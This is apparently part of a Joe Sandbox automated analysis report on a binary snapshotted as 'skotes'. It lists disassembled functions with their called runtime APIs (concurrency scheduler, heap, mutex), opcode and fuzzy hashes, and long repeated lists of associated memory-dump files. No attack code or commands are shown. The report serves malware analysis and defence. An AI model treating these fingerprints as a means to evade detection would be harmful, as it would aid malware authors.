Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: a05199a0d5c31126212ca64fe5e44330ebedbf2e0f726c3d51ff9a35ec81cdf6
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 1B316938B2A2629BCF16BE7844927FE77B99F01300F2401A5D485D72C2DB24CD59C791

Function 002A4C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 002A4C98
__alloca_probe_16.LIBCMT ref: 002A4D5E
__freea.LIBCMT ref: 002A4DCA

Part of subcall function 0029B04B: RtlAllocateHeap.NTDLL(00000000,53F67923,?,?,0027D3FC,53F67923,?,00277A8B,?,?,?,?,?,?,00267465,?), ref: 0029B07D

__freea.LIBCMT ref: 002A4DD3
__freea.LIBCMT ref: 002A4DF6

Strings

Z),m), xrefs: 002A4C26

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: Z),m)
API String ID: 1423051803-694901034
Opcode ID: e6ffafa9fa1f75f29867df93ea04975e47944c97322c49e4f7657633ef79d8ff
Instruction ID: 77041b3fcd8e3a0ef82cdf5b46145d4b3a5d6259fb2fadf7fb1ef5e8682b512d
Opcode Fuzzy Hash: e6ffafa9fa1f75f29867df93ea04975e47944c97322c49e4f7657633ef79d8ff
Instruction Fuzzy Hash: E851C372620616ABDF216F64DC41EBB36A9DBC6760F154129FD0897151EFB0DD308A60

Function 0028DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0028DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0028DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0028DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0028DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0028DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0028DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0028DE74

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 5cc02b472ac50e9b52b50eab152dba14749a8e2af42ee0597e39b8c7ed092605
Instruction ID: 14b47462c2aa38616a44540ce996afa0d67e106c74fe22007770b9b8b47c9ccc
Opcode Fuzzy Hash: 5cc02b472ac50e9b52b50eab152dba14749a8e2af42ee0597e39b8c7ed092605
Instruction Fuzzy Hash: D841BB38A362459ACF19FFA084557AC77B16F11304F1884A9E8456F2D3CB758E28CF62

Function 0028E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0028E7D7

Part of subcall function 0028E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0028E577
Part of subcall function 0028E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0028E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0028E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0028E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0028E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0028E879
Concurrency::location::_Assign.LIBCMT ref: 0028E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0028E8B5

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 52f418b57de7f287da6f8003c80670618ebaa58ff2edfecce02aa849e43998f2
Instruction ID: 76088b0bb686a06eae392fe18d209d5786303db67d12dd236eb209a525768863
Opcode Fuzzy Hash: 52f418b57de7f287da6f8003c80670618ebaa58ff2edfecce02aa849e43998f2
Instruction Fuzzy Hash: BB414A79A11205EFCF01EF64C894AADB7B5FF48310F1980A9DD499B392DB30A951CF91

Function 00276E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00276ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00276F22
std::_Rethrow_future_exception.LIBCPMT ref: 00276F32
__Mtx_unlock.LIBCPMT ref: 00276FD5
__Mtx_unlock.LIBCPMT ref: 002770DB
__Mtx_unlock.LIBCPMT ref: 00277116

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

